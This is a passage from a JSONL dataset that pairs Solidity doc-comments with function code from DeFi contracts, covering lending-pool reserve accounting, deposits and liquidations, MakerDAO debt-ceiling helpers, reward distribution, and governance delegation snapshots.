compoundedBalance.sub(principal));\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev removes the last added reserve in the reservesList array\r\n * @param _reserveToRemove the address of the reserve\r\n **/", "function_code": "function removeLastAddedReserve(address _reserveToRemove)\r\n external onlyLendingPoolConfigurator {\r\n\r\n address lastReserve = reservesList[reservesList.length-1];\r\n\r\n require(lastReserve == _reserveToRemove, \"Reserve being removed is different than the reserve requested\");\r\n\r\n //as we can't check if totalLiquidity is 0 (since the reserve added might not be an ERC20) we at least check that there is nothing borrowed\r\n require(getReserveTotalBorrows(lastReserve) == 0, \"Cannot remove a reserve with liquidity deposited\");\r\n\r\n reserves[lastReserve].isActive = false;\r\n reserves[lastReserve].aTokenAddress = address(0);\r\n reserves[lastReserve].decimals = 0;\r\n reserves[lastReserve].lastLiquidityCumulativeIndex = 0;\r\n reserves[lastReserve].lastVariableBorrowCumulativeIndex = 0;\r\n reserves[lastReserve].borrowingEnabled = false;\r\n reserves[lastReserve].usageAsCollateralEnabled = false;\r\n reserves[lastReserve].baseLTVasCollateral = 0;\r\n reserves[lastReserve].liquidationThreshold = 0;\r\n reserves[lastReserve].liquidationBonus = 0;\r\n reserves[lastReserve].interestRateStrategyAddress = address(0);\r\n\r\n reservesList.pop();\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of a reserve as a consequence of a borrow action.\r\n * @param _reserve the address of the reserve on which the user is borrowing\r\n * @param _user the address of the borrower\r\n * @param _principalBorrowBalance the previous borrow balance of the borrower before the action\r\n * @param _balanceIncrease the accrued interest of the user on the previous borrowed amount\r\n * @param _amountBorrowed the new amount borrowed\r\n * @param _rateMode the borrow rate mode (stable, variable)\r\n **/", "function_code": "function updateReserveStateOnBorrowInternal(\r\n address _reserve,\r\n address _user,\r\n uint256 _principalBorrowBalance,\r\n uint256 _balanceIncrease,\r\n uint256 _amountBorrowed,\r\n CoreLibrary.InterestRateMode _rateMode\r\n ) internal {\r\n reserves[_reserve].updateCumulativeIndexes();\r\n\r\n //increasing reserve total borrows to account for the new borrow balance of the user\r\n //NOTE: Depending on the previous borrow mode, the borrows might need to be switched from variable to stable or vice versa\r\n\r\n updateReserveTotalBorrowsByRateModeInternal(\r\n _reserve,\r\n _user,\r\n _principalBorrowBalance,\r\n _balanceIncrease,\r\n _amountBorrowed,\r\n _rateMode\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the reserve as a consequence of a repay action.\r\n * @param _reserve the address of the reserve on which the user is repaying\r\n * @param _user the address of the borrower\r\n * @param _paybackAmountMinusFees the amount being paid back minus fees\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n **/", "function_code": "function updateReserveStateOnRepayInternal(\r\n address _reserve,\r\n address _user,\r\n uint256 _paybackAmountMinusFees,\r\n uint256 _balanceIncrease\r\n ) internal {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];\r\n\r\n CoreLibrary.InterestRateMode borrowRateMode = getUserCurrentBorrowRateMode(_reserve, _user);\r\n\r\n //update the indexes\r\n reserves[_reserve].updateCumulativeIndexes();\r\n\r\n //compound the cumulated interest to the borrow balance and then subtracting the payback amount\r\n if (borrowRateMode == CoreLibrary.InterestRateMode.STABLE) {\r\n reserve.increaseTotalBorrowsStableAndUpdateAverageRate(\r\n _balanceIncrease,\r\n user.stableBorrowRate\r\n );\r\n reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(\r\n _paybackAmountMinusFees,\r\n user.stableBorrowRate\r\n );\r\n } else {\r\n reserve.increaseTotalBorrowsVariable(_balanceIncrease);\r\n reserve.decreaseTotalBorrowsVariable(_paybackAmountMinusFees);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the principal reserve as a consequence of a liquidation action.\r\n * @param _principalReserve the address of the principal reserve that is being repaid\r\n * @param _user the address of the borrower\r\n * @param _amountToLiquidate the amount being repaid by the liquidator\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n **/", "function_code": "function updatePrincipalReserveStateOnLiquidationInternal(\r\n address _principalReserve,\r\n address _user,\r\n uint256 _amountToLiquidate,\r\n uint256 _balanceIncrease\r\n ) internal {\r\n CoreLibrary.ReserveData storage reserve = reserves[_principalReserve];\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_principalReserve];\r\n\r\n //update principal reserve data\r\n reserve.updateCumulativeIndexes();\r\n\r\n CoreLibrary.InterestRateMode borrowRateMode = getUserCurrentBorrowRateMode(\r\n _principalReserve,\r\n _user\r\n );\r\n\r\n if (borrowRateMode == CoreLibrary.InterestRateMode.STABLE) {\r\n //increase the total borrows by the compounded interest\r\n reserve.increaseTotalBorrowsStableAndUpdateAverageRate(\r\n _balanceIncrease,\r\n user.stableBorrowRate\r\n );\r\n\r\n //decrease by the actual amount to liquidate\r\n reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(\r\n _amountToLiquidate,\r\n user.stableBorrowRate\r\n );\r\n\r\n } else {\r\n //increase the total borrows by the compounded interest\r\n reserve.increaseTotalBorrowsVariable(_balanceIncrease);\r\n\r\n //decrease by the actual amount to liquidate\r\n reserve.decreaseTotalBorrowsVariable(_amountToLiquidate);\r\n }\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Updates the reserve current stable borrow rate Rf, the current variable borrow rate Rv and the current liquidity rate Rl.\r\n * Also updates the lastUpdateTimestamp value. Please refer to the whitepaper for further information.\r\n * @param _reserve the address of the reserve to be updated\r\n * @param _liquidityAdded the amount of liquidity added to the protocol (deposit or repay) in the previous action\r\n * @param _liquidityTaken the amount of liquidity taken from the protocol (redeem or borrow)\r\n **/", "function_code": "function updateReserveInterestRatesAndTimestampInternal(\r\n address _reserve,\r\n uint256 _liquidityAdded,\r\n uint256 _liquidityTaken\r\n ) internal {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n (uint256 newLiquidityRate, uint256 newStableRate, uint256 newVariableRate) = IReserveInterestRateStrategy(\r\n reserve\r\n .interestRateStrategyAddress\r\n )\r\n .calculateInterestRates(\r\n _reserve,\r\n getReserveAvailableLiquidity(_reserve).add(_liquidityAdded).sub(_liquidityTaken),\r\n reserve.totalBorrowsStable,\r\n reserve.totalBorrowsVariable,\r\n reserve.currentAverageStableBorrowRate\r\n );\r\n\r\n reserve.currentLiquidityRate = newLiquidityRate;\r\n reserve.currentStableBorrowRate = newStableRate;\r\n reserve.currentVariableBorrowRate = newVariableRate;\r\n\r\n //solium-disable-next-line\r\n reserve.lastUpdateTimestamp = uint40(block.timestamp);\r\n\r\n emit ReserveUpdated(\r\n _reserve,\r\n newLiquidityRate,\r\n newStableRate,\r\n newVariableRate,\r\n reserve.lastLiquidityCumulativeIndex,\r\n reserve.lastVariableBorrowCumulativeIndex\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers to the protocol fees of a flashloan to the fees collection address\r\n * @param _token the address of the token being transferred\r\n * @param _amount the amount being transferred\r\n **/", "function_code": "function transferFlashLoanProtocolFeeInternal(address _token, uint256 _amount) internal {\r\n address payable receiver = address(uint160(addressesProvider.getTokenDistributor()));\r\n\r\n if (_token != EthAddressLib.ethAddress()) {\r\n ERC20(_token).safeTransfer(receiver, _amount);\r\n } else {\r\n //solium-disable-next-line\r\n (bool result, ) = receiver.call.value(_amount)(\"\");\r\n require(result, \"Transfer to token distributor failed\");\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev adds a reserve to the array of the reserves address\r\n **/", "function_code": "function addReserveToListInternal(address _reserve) internal {\r\n bool reserveAlreadyAdded = false;\r\n for (uint256 i = 0; i < reservesList.length; i++)\r\n if (reservesList[i] == _reserve) {\r\n reserveAlreadyAdded = true;\r\n }\r\n if (!reserveAlreadyAdded) reservesList.push(_reserve);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (aTokens)\r\n * is minted.\r\n * @param _reserve the address of the reserve\r\n * @param _amount the amount to be deposited\r\n * @param _referralCode integrators are assigned a referral code and can potentially receive rewards.\r\n **/", "function_code": "function deposit(address _reserve, uint256 _amount, uint16 _referralCode)\r\n external\r\n payable\r\n nonReentrant\r\n onlyActiveReserve(_reserve)\r\n onlyUnfreezedReserve(_reserve)\r\n onlyAmountGreaterThanZero(_amount)\r\n {\r\n AToken aToken = AToken(core.getReserveATokenAddress(_reserve));\r\n\r\n bool isFirstDeposit = aToken.balanceOf(msg.sender) == 0;\r\n\r\n core.updateStateOnDeposit(_reserve, msg.sender, _amount, isFirstDeposit);\r\n\r\n //minting AToken to user 1:1 with the specific exchange rate\r\n aToken.mintOnDeposit(msg.sender, _amount);\r\n\r\n //transfer to the core contract\r\n core.transferToReserve.value(msg.value)(_reserve, msg.sender, _amount);\r\n\r\n //solium-disable-next-line\r\n emit Deposit(_reserve, msg.sender, _amount, _referralCode, block.timestamp);\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Redeems the underlying amount of assets requested by _user.\r\n * This function is executed by the overlying aToken contract in response to a redeem action.\r\n * @param _reserve the address of the reserve\r\n * @param _user the address of the user performing the action\r\n * @param _amount the underlying amount to be redeemed\r\n **/", "function_code": "function redeemUnderlying(\r\n address _reserve,\r\n address payable _user,\r\n uint256 _amount,\r\n uint256 _aTokenBalanceAfterRedeem\r\n )\r\n external\r\n nonReentrant\r\n onlyOverlyingAToken(_reserve)\r\n onlyActiveReserve(_reserve)\r\n onlyAmountGreaterThanZero(_amount)\r\n {\r\n uint256 currentAvailableLiquidity = core.getReserveAvailableLiquidity(_reserve);\r\n require(\r\n currentAvailableLiquidity >= _amount,\r\n \"There is not enough liquidity available to redeem\"\r\n );\r\n\r\n core.updateStateOnRedeem(_reserve, _user, _amount, _aTokenBalanceAfterRedeem == 0);\r\n\r\n core.transferToUser(_reserve, _user, _amount);\r\n\r\n //solium-disable-next-line\r\n emit RedeemUnderlying(_reserve, _user, _amount, block.timestamp);\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev borrowers can user this function to swap between stable and variable borrow rate modes.\r\n * @param _reserve the address of the reserve on which the user borrowed\r\n **/", "function_code": "function swapBorrowRateMode(address _reserve)\r\n external\r\n nonReentrant\r\n onlyActiveReserve(_reserve)\r\n onlyUnfreezedReserve(_reserve)\r\n {\r\n (uint256 principalBorrowBalance, uint256 compoundedBorrowBalance, uint256 borrowBalanceIncrease) = core\r\n .getUserBorrowBalances(_reserve, msg.sender);\r\n\r\n require(\r\n compoundedBorrowBalance > 0,\r\n \"User does not have a borrow in progress on this reserve\"\r\n );\r\n\r\n CoreLibrary.InterestRateMode currentRateMode = core.getUserCurrentBorrowRateMode(\r\n _reserve,\r\n msg.sender\r\n );\r\n\r\n if (currentRateMode == CoreLibrary.InterestRateMode.VARIABLE) {\r\n /**\r\n * user wants to swap to stable, before swapping we need to ensure that\r\n * 1. stable borrow rate is enabled on the reserve\r\n * 2. user is not trying to abuse the reserve by depositing\r\n * more collateral than he is borrowing, artificially lowering\r\n * the interest rate, borrowing at variable, and switching to stable\r\n **/\r\n require(\r\n core.isUserAllowedToBorrowAtStable(_reserve, msg.sender, compoundedBorrowBalance),\r\n \"User cannot borrow the selected amount at stable\"\r\n );\r\n }\r\n\r\n (CoreLibrary.InterestRateMode newRateMode, uint256 newBorrowRate) = core\r\n .updateStateOnSwapRate(\r\n _reserve,\r\n msg.sender,\r\n principalBorrowBalance,\r\n compoundedBorrowBalance,\r\n borrowBalanceIncrease,\r\n currentRateMode\r\n );\r\n\r\n emit Swap(\r\n _reserve,\r\n msg.sender,\r\n uint256(newRateMode),\r\n newBorrowRate,\r\n borrowBalanceIncrease,\r\n //solium-disable-next-line\r\n block.timestamp\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev allows depositors to enable or disable a specific deposit as collateral.\r\n * @param _reserve the address of the reserve\r\n * @param _useAsCollateral true if the user wants to user the deposit as collateral, false otherwise.\r\n **/", "function_code": "function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral)\r\n external\r\n nonReentrant\r\n onlyActiveReserve(_reserve)\r\n onlyUnfreezedReserve(_reserve)\r\n {\r\n uint256 underlyingBalance = core.getUserUnderlyingAssetBalance(_reserve, msg.sender);\r\n\r\n require(underlyingBalance > 0, \"User does not have any liquidity deposited\");\r\n\r\n require(\r\n dataProvider.balanceDecreaseAllowed(_reserve, msg.sender, underlyingBalance),\r\n \"User deposit is already being used as collateral\"\r\n );\r\n\r\n core.setUserUseReserveAsCollateral(_reserve, msg.sender, _useAsCollateral);\r\n\r\n if (_useAsCollateral) {\r\n emit ReserveUsedAsCollateralEnabled(_reserve, msg.sender);\r\n } else {\r\n emit ReserveUsedAsCollateralDisabled(_reserve, msg.sender);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev users can invoke this function to liquidate an undercollateralized position.\r\n * @param _reserve the address of the collateral to liquidated\r\n * @param _reserve the address of the principal reserve\r\n * @param _user the address of the borrower\r\n * @param _purchaseAmount the amount of principal that the liquidator wants to repay\r\n * @param _receiveAToken true if the liquidators wants to receive the aTokens, false if\r\n * he wants to receive the underlying asset directly\r\n **/", "function_code": "function liquidationCall(\r\n address _collateral,\r\n address _reserve,\r\n address _user,\r\n uint256 _purchaseAmount,\r\n bool _receiveAToken\r\n ) external payable nonReentrant onlyActiveReserve(_reserve) onlyActiveReserve(_collateral) {\r\n address liquidationManager = addressesProvider.getLendingPoolLiquidationManager();\r\n\r\n //solium-disable-next-line\r\n (bool success, bytes memory result) = liquidationManager.delegatecall(\r\n abi.encodeWithSignature(\r\n \"liquidationCall(address,address,address,uint256,bool)\",\r\n _collateral,\r\n _reserve,\r\n _user,\r\n _purchaseAmount,\r\n _receiveAToken\r\n )\r\n );\r\n require(success, \"Liquidation call failed\");\r\n\r\n (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string));\r\n\r\n if (returnCode != 0) {\r\n //error found\r\n revert(string(abi.encodePacked(\"Liquidation failed: \", returnMessage)));\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev calculates how much of a specific collateral can be liquidated, given\r\n * a certain amount of principal currency. This function needs to be called after\r\n * all the checks to validate the liquidation have been performed, otherwise it might fail.\r\n * @param _collateral the collateral to be liquidated\r\n * @param _principal the principal currency to be liquidated\r\n * @param _purchaseAmount the amount of principal being liquidated\r\n * @param _userCollateralBalance the collatera balance for the specific _collateral asset of the user being liquidated\r\n * @return the maximum amount that is possible to liquidated given all the liquidation constraints (user balance, close factor) and\r\n * the purchase amount\r\n **/", "function_code": "function calculateAvailableCollateralToLiquidate(\r\n address _collateral,\r\n address _principal,\r\n uint256 _purchaseAmount,\r\n uint256 _userCollateralBalance\r\n ) internal view returns (uint256 collateralAmount, uint256 principalAmountNeeded) {\r\n collateralAmount = 0;\r\n principalAmountNeeded = 0;\r\n IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());\r\n\r\n // Usage of a memory struct of vars to avoid \"Stack too deep\" errors due to local variables\r\n AvailableCollateralToLiquidateLocalVars memory vars;\r\n\r\n vars.collateralPrice = oracle.getAssetPrice(_collateral);\r\n vars.principalCurrencyPrice = oracle.getAssetPrice(_principal);\r\n vars.liquidationBonus = core.getReserveLiquidationBonus(_collateral);\r\n\r\n //this is the maximum possible amount of the selected collateral that can be liquidated, given the\r\n //max amount of principal currency that is available for liquidation.\r\n vars.maxAmountCollateralToLiquidate = vars\r\n .principalCurrencyPrice\r\n .mul(_purchaseAmount)\r\n .div(vars.collateralPrice)\r\n .mul(vars.liquidationBonus)\r\n .div(100);\r\n\r\n if (vars.maxAmountCollateralToLiquidate > _userCollateralBalance) {\r\n collateralAmount = _userCollateralBalance;\r\n principalAmountNeeded = vars\r\n .collateralPrice\r\n .mul(collateralAmount)\r\n .div(vars.principalCurrencyPrice)\r\n .mul(100)\r\n .div(vars.liquidationBonus);\r\n } else {\r\n collateralAmount = vars.maxAmountCollateralToLiquidate;\r\n principalAmountNeeded = _purchaseAmount;\r\n }\r\n\r\n return (collateralAmount, principalAmountNeeded);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n @dev Increase a collateral debt ceiling. Amount will be converted to the correct internal precision.\r\n @param _ilk The ilk to update (ex. bytes32(\"ETH-A\"))\r\n @param _amount The amount to increase in DAI (ex. 10m DAI amount == 10000000)\r\n @param _global If true, increases the global debt ceiling by _amount\r\n */", "function_code": "function increaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public {\r\n require(_amount < WAD); // \"LibDssExec/incorrect-ilk-line-precision\"\r\n address _vat = vat();\r\n (,,,uint256 line_,) = DssVat(_vat).ilks(_ilk);\r\n Fileable(_vat).file(_ilk, \"line\", add(line_, _amount * RAD));\r\n if (_global) { increaseGlobalDebtCeiling(_amount); }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @dev Set the debt ceiling for an ilk in the \"MCD_IAM_AUTO_LINE\" auto-line without updating the time values\r\n @param _ilk The ilk to update (ex. bytes32(\"ETH-A\"))\r\n @param _amount The amount to decrease in DAI (ex. 10m DAI amount == 10000000)\r\n */", "function_code": "function setIlkAutoLineDebtCeiling(bytes32 _ilk, uint256 _amount) public {\r\n address _autoLine = autoLine();\r\n (, uint256 gap, uint48 ttl,,) = IAMLike(_autoLine).ilks(_ilk);\r\n require(gap != 0 && ttl != 0); // \"LibDssExec/auto-line-not-configured\"\r\n IAMLike(_autoLine).setIlk(_ilk, _amount * RAD, uint256(gap), uint256(ttl));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @dev Set a collateral liquidation ratio. Amount will be converted to the correct internal precision.\r\n @dev Equation used for conversion is pct * RAY / 10,000\r\n @param _ilk The ilk to update (ex. bytes32(\"ETH-A\"))\r\n @param _pct_bps The pct, in basis points, to set in integer form (x100). (ex. 150% = 150 * 100 = 15000)\r\n */", "function_code": "function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public {\r\n require(_pct_bps < 10 * BPS_ONE_HUNDRED_PCT); // \"LibDssExec/incorrect-ilk-mat-precision\" // Fails if pct >= 1000%\r\n require(_pct_bps >= BPS_ONE_HUNDRED_PCT); // the liquidation ratio has to be bigger or equal to 100%\r\n Fileable(spotter()).file(_ilk, \"mat\", rdiv(_pct_bps, BPS_ONE_HUNDRED_PCT));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Configures the distribution of rewards for a list of assets\r\n * @param assetsConfigInput The list of configurations to apply\r\n **/", "function_code": "function configureAssets(DistributionTypes.AssetConfigInput[] calldata assetsConfigInput)\r\n external\r\n override\r\n {\r\n require(msg.sender == EMISSION_MANAGER, 'ONLY_EMISSION_MANAGER');\r\n\r\n for (uint256 i = 0; i < assetsConfigInput.length; i++) {\r\n AssetData storage assetConfig = assets[assetsConfigInput[i].underlyingAsset];\r\n\r\n _updateAssetStateInternal(\r\n assetsConfigInput[i].underlyingAsset,\r\n assetConfig,\r\n assetsConfigInput[i].totalStaked\r\n );\r\n\r\n assetConfig.emissionPerSecond = assetsConfigInput[i].emissionPerSecond;\r\n\r\n emit AssetConfigUpdated(\r\n assetsConfigInput[i].underlyingAsset,\r\n assetsConfigInput[i].emissionPerSecond\r\n );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Updates the state of one distribution, mainly rewards index and timestamp\r\n * @param underlyingAsset The address used as key in the distribution, for example sAAVE or the aTokens addresses on Aave\r\n * @param assetConfig Storage pointer to the distribution's config\r\n * @param totalStaked Current total of staked assets for this distribution\r\n * @return The new distribution index\r\n **/", "function_code": "function _updateAssetStateInternal(\r\n address underlyingAsset,\r\n AssetData storage assetConfig,\r\n uint256 totalStaked\r\n ) internal returns (uint256) {\r\n uint256 oldIndex = assetConfig.index;\r\n uint128 lastUpdateTimestamp = assetConfig.lastUpdateTimestamp;\r\n\r\n if (block.timestamp == lastUpdateTimestamp) {\r\n return oldIndex;\r\n }\r\n\r\n uint256 newIndex =\r\n _getAssetIndex(oldIndex, assetConfig.emissionPerSecond, lastUpdateTimestamp, totalStaked);\r\n\r\n if (newIndex != oldIndex) {\r\n assetConfig.index = newIndex;\r\n emit AssetIndexUpdated(underlyingAsset, newIndex);\r\n }\r\n\r\n assetConfig.lastUpdateTimestamp = uint128(block.timestamp);\r\n\r\n return newIndex;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Updates the state of an user in a distribution\r\n * @param user The user's address\r\n * @param asset The address of the reference asset of the distribution\r\n * @param stakedByUser Amount of tokens staked by the user in the distribution at the moment\r\n * @param totalStaked Total tokens staked in the distribution\r\n * @return The accrued rewards for the user until the moment\r\n **/", "function_code": "function _updateUserAssetInternal(\r\n address user,\r\n address asset,\r\n uint256 stakedByUser,\r\n uint256 totalStaked\r\n ) internal returns (uint256) {\r\n AssetData storage assetData = assets[asset];\r\n uint256 userIndex = assetData.users[user];\r\n uint256 accruedRewards = 0;\r\n\r\n uint256 newIndex = _updateAssetStateInternal(asset, assetData, totalStaked);\r\n\r\n if (userIndex != newIndex) {\r\n if (stakedByUser != 0) {\r\n accruedRewards = _getRewards(stakedByUser, newIndex, userIndex);\r\n }\r\n\r\n assetData.users[user] = newIndex;\r\n emit UserIndexUpdated(user, asset, newIndex);\r\n }\r\n\r\n return accruedRewards;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Used by \"frontend\" stake contracts to update the data of an user when claiming rewards from there\r\n * @param user The address of the user\r\n * @param stakes List of structs of the user data related with his stake\r\n * @return The accrued rewards for the user until the moment\r\n **/", "function_code": "function _claimRewards(address user, DistributionTypes.UserStakeInput[] memory stakes)\r\n internal\r\n returns (uint256)\r\n {\r\n uint256 accruedRewards = 0;\r\n\r\n for (uint256 i = 0; i < stakes.length; i++) {\r\n accruedRewards = accruedRewards.add(\r\n _updateUserAssetInternal(\r\n user,\r\n stakes[i].underlyingAsset,\r\n stakes[i].stakedByUser,\r\n stakes[i].totalStaked\r\n )\r\n );\r\n }\r\n\r\n return accruedRewards;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Return the accrued rewards for an user over a list of distribution\r\n * @param user The address of the user\r\n * @param stakes List of structs of the user data related with his stake\r\n * @return The accrued rewards for the user until the moment\r\n **/", "function_code": "function _getUnclaimedRewards(address user, DistributionTypes.UserStakeInput[] memory stakes)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n uint256 accruedRewards = 0;\r\n\r\n for (uint256 i = 0; i < stakes.length; i++) {\r\n AssetData storage assetConfig = assets[stakes[i].underlyingAsset];\r\n uint256 assetIndex =\r\n _getAssetIndex(\r\n assetConfig.index,\r\n assetConfig.emissionPerSecond,\r\n assetConfig.lastUpdateTimestamp,\r\n stakes[i].totalStaked\r\n );\r\n\r\n accruedRewards = accruedRewards.add(\r\n _getRewards(stakes[i].stakedByUser, assetIndex, assetConfig.users[user])\r\n );\r\n }\r\n return accruedRewards;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Calculates the next value of an specific distribution index, with validations\r\n * @param currentIndex Current index of the distribution\r\n * @param emissionPerSecond Representing the total rewards distributed per second per asset unit, on the distribution\r\n * @param lastUpdateTimestamp Last moment this distribution was updated\r\n * @param totalBalance of tokens considered for the distribution\r\n * @return The new index.\r\n **/", "function_code": "function _getAssetIndex(\r\n uint256 currentIndex,\r\n uint256 emissionPerSecond,\r\n uint128 lastUpdateTimestamp,\r\n uint256 totalBalance\r\n ) internal view returns (uint256) {\r\n if (\r\n emissionPerSecond == 0 ||\r\n totalBalance == 0 ||\r\n lastUpdateTimestamp == block.timestamp ||\r\n lastUpdateTimestamp >= DISTRIBUTION_END\r\n ) {\r\n return currentIndex;\r\n }\r\n\r\n uint256 currentTimestamp =\r\n block.timestamp > DISTRIBUTION_END ? DISTRIBUTION_END : block.timestamp;\r\n uint256 timeDelta = currentTimestamp.sub(lastUpdateTimestamp);\r\n return\r\n emissionPerSecond.mul(timeDelta).mul(10**uint256(PRECISION)).div(totalBalance).add(\r\n currentIndex\r\n );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev returns the current delegated power of a user. The current power is the\r\n * power delegated at the time of the last snapshot\r\n * @param user the user\r\n **/", "function_code": "function getPowerCurrent(address user, DelegationType delegationType)\r\n external\r\n override\r\n view\r\n returns (uint256)\r\n {\r\n (\r\n mapping(address => mapping(uint256 => Snapshot)) storage snapshots,\r\n mapping(address => uint256) storage snapshotsCounts,\r\n\r\n ) = _getDelegationDataByType(delegationType);\r\n\r\n return _searchByBlockNumber(snapshots, snapshotsCounts, user, block.number);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev returns the delegated power of a user at a certain block\r\n * @param user the user\r\n **/", "function_code": "function getPowerAtBlock(\r\n address user,\r\n uint256 blockNumber,\r\n DelegationType delegationType\r\n ) external override view returns (uint256) {\r\n (\r\n mapping(address => mapping(uint256 => Snapshot)) storage snapshots,\r\n mapping(address => uint256) storage snapshotsCounts,\r\n\r\n ) = _getDelegationDataByType(delegationType);\r\n\r\n return _searchByBlockNumber(snapshots, snapshotsCounts, user, blockNumber);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev delegates the specific power to a delegatee\r\n * @param delegatee the user which delegated power has changed\r\n * @param delegationType the type of delegation (VOTING_POWER, PROPOSITION_POWER)\r\n **/", "function_code": "function _delegateByType(\r\n address delegator,\r\n address delegatee,\r\n DelegationType delegationType\r\n ) internal {\r\n require(delegatee != address(0), 'INVALID_DELEGATEE');\r\n\r\n (, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);\r\n\r\n uint256 delegatorBalance = balanceOf(delegator);\r\n\r\n address previousDelegatee = _getDelegatee(delegator, delegates);\r\n\r\n delegates[delegator] = delegatee;\r\n\r\n _moveDelegatesByType(previousDelegatee, delegatee, delegatorBalance, delegationType);\r\n emit DelegateChanged(delegator, delegatee, delegationType);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev moves delegated power from one user to another\r\n * @param from the user from which delegated power is moved\r\n * @param to the user that will receive the delegated power\r\n * @param amount the amount of delegated power to be moved\r\n * @param delegationType the type of delegation (VOTING_POWER, PROPOSITION_POWER)\r\n **/", "function_code": "function _moveDelegatesByType(\r\n address from,\r\n address to,\r\n uint256 amount,\r\n DelegationType delegationType\r\n ) internal {\r\n if (from == to) {\r\n return;\r\n }\r\n\r\n (\r\n mapping(address => mapping(uint256 => Snapshot)) storage snapshots,\r\n mapping(address => uint256) storage snapshotsCounts,\r\n\r\n ) = _getDelegationDataByType(delegationType);\r\n\r\n if (from != address(0)) {\r\n uint256 previous = 0;\r\n uint256 fromSnapshotsCount = snapshotsCounts[from];\r\n\r\n if (fromSnapshotsCount != 0) {\r\n previous = snapshots[from][fromSnapshotsCount - 1].value;\r\n } else {\r\n previous = balanceOf(from);\r\n }\r\n\r\n _writeSnapshot(\r\n snapshots,\r\n snapshotsCounts,\r\n from,\r\n uint128(previous),\r\n uint128(previous.sub(amount))\r\n );\r\n\r\n emit DelegatedPowerChanged(from, previous.sub(amount), delegationType);\r\n }\r\n if (to != address(0)) {\r\n uint256 previous = 0;\r\n uint256 toSnapshotsCount = snapshotsCounts[to];\r\n if (toSnapshotsCount != 0) {\r\n previous = snapshots[to][toSnapshotsCount - 1].value;\r\n } else {\r\n previous = balanceOf(to);\r\n }\r\n\r\n _writeSnapshot(\r\n snapshots,\r\n snapshotsCounts,\r\n to,\r\n uint128(previous),\r\n uint128(previous.add(amount))\r\n );\r\n\r\n emit DelegatedPowerChanged(to, previous.add(amount), delegationType);\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev searches a snapshot by block number. Uses binary search.\r\n * @param snapshots the snapshots mapping\r\n * @param snapshotsCounts the number of snapshots\r\n * @param user the user for which the snapshot is being searched\r\n * @param blockNumber the block number being searched\r\n **/", "function_code": "function _searchByBlockNumber(\r\n mapping(address => mapping(uint256 => Snapshot)) storage snapshots,\r\n mapping(address => uint256) storage snapshotsCounts,\r\n address user,\r\n uint256 blockNumber\r\n ) internal view returns (uint256) {\r\n require(blockNumber <= block.number, 'INVALID_BLOCK_NUMBER');\r\n\r\n uint256 snapshotsCount = snapshotsCounts[user];\r\n\r\n if (snapshotsCount == 0) {\r\n return balanceOf(user);\r\n }\r\n\r\n // First check most recent balance\r\n if (snapshots[user][snapshotsCount - 1].blockNumber <= blockNumber) {\r\n return snapshots[user][snapshotsCount - 1].value;\r\n }\r\n\r\n // Next check implicit zero balance\r\n if (snapshots[user][0].blockNumber > blockNumber) {\r\n return 0;\r\n }\r\n\r\n uint256 lower = 0;\r\n uint256 upper = snapshotsCount - 1;\r\n while (upper > lower) {\r\n uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow\r\n Snapshot memory snapshot = snapshots[user][center];\r\n if (snapshot.blockNumber == blockNumber) {\r\n return snapshot.value;\r\n } else if (snapshot.blockNumber < blockNumber) {\r\n lower = center;\r\n } else {\r\n upper = center - 1;\r\n }\r\n }\r\n return snapshots[user][lower].value;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Writes a snapshot for an owner of tokens\r\n * @param owner The owner of the tokens\r\n * @param oldValue The value before the operation that is gonna be executed after the snapshot\r\n * @param newValue The value after the operation\r\n */", "function_code": "function _writeSnapshot(\r\n mapping(address => mapping(uint256 => Snapshot)) storage snapshots,\r\n mapping(address => uint256) storage snapshotsCounts,\r\n address owner,\r\n uint128 oldValue,\r\n uint128 newValue\r\n ) internal {\r\n uint128 currentBlock = uint128(block.number);\r\n\r\n uint256 ownerSnapshotsCount = snapshotsCounts[owner];\r\n mapping(uint256 